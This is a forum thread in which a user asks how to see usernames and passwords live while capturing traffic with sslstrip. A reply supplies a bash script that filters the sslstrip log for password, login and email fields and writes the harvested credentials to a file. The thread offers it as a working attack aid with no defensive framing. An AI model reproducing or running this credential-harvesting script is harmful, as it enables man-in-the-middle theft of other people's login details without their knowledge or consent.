Results 1 to 2 of 2

Thread: How do i get password/usernames to show in my terminal when using ssl strip?

Hybrid View

  1. #1
    Just burned his ISO
    Join Date
    Jun 2011
    Posts
    9

    Default How do i get password/usernames to show in my terminal when using ssl strip?

    Hi,

    Ive had ssl strip working pretty well but i used to be able to see usernames and passwords in my sslstrip terminal. but now i can only see them in sslstrip logs. Is there a specific command i need to use to see data on the fly?


    thx in advance.

  2. #2
    Junior Member M00kaw's Avatar
    Join Date
    Oct 2010
    Location
    127.0.0.1
    Posts
    47

    Default Re: How do i get password/usernames to show in my terminal when using ssl strip?

    I dont know about "on the fly" - but comaX made a sniffing-script where it checks a log-file for username and password:
    Something like this :

    #!/bin/bash
    echo "Do you want to save passwords to a file? (Y=keep)"
    echo "(If you want to keep it, it will be saved in /root/filename.pass.txt)"
    read -e keeppd
    if [[ $keeppd = "Y" || $keeppd = "y" ]] ; then # double brackets because double condition. || signifies "or"
    cat /root/sslstrip.log |
    awk -F "&" '!/GET/ && !/if/ !/header/ && !/^[0-9]/ && !/</ && /[PpEeUuLlCc_][A-Za-z]*=[A-Za-z0-9.%_-]*/ {if (NF >= 2) print $0}' |
    awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
    egrep -a -i "pwd=|pass=|passwd=|password=|textbox=|email=|user =|username=|login=|credential=|_user|_pwd=|email_a ddress=" |
    awk -F "=" '{if (length($2) < 3) print "\b"; else if ($1 ~/[Pp]/) print "Password = " $2"\n"; else print "Login =", $2}' >& /root/filename.pass.txt #we do it all over again... There should be a way not to re-do that...
    if [ -f "/root/filename.pass.txt" ]; then #check if it exists
    echo "Passwords saved !" #it does
    else echo "Error while saving passwords" #it does not
    fi
    else echo "Password saving skipped."
    fi
    rm /root/filename.txt
    echo -e "\nTemporary files deleted."
    Last edited by M00kaw; 07-13-2011 at 06:57 PM.

Similar Threads

  1. How can I get SSL Strip to log traffic?
    By dawson111 in forum Beginners Forum
    Replies: 6
    Last Post: 03-14-2011, 09:54 AM
  2. Hydra don't show password
    By cabrilio in forum Beginners Forum
    Replies: 2
    Last Post: 03-27-2010, 01:28 PM
  3. obtaining vista usernames
    By ruddyrum in forum OLD Newbie Area
    Replies: 6
    Last Post: 08-17-2009, 02:13 PM
  4. SSL Strip and Tor
    By leftler in forum OLD BackTrack 4 General Support
    Replies: 4
    Last Post: 08-03-2009, 06:34 AM
  5. SSL Strip
    By imported_wyze in forum OLD BackTrack 4 Bugs and Fixes
    Replies: 3
    Last Post: 06-22-2009, 12:53 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •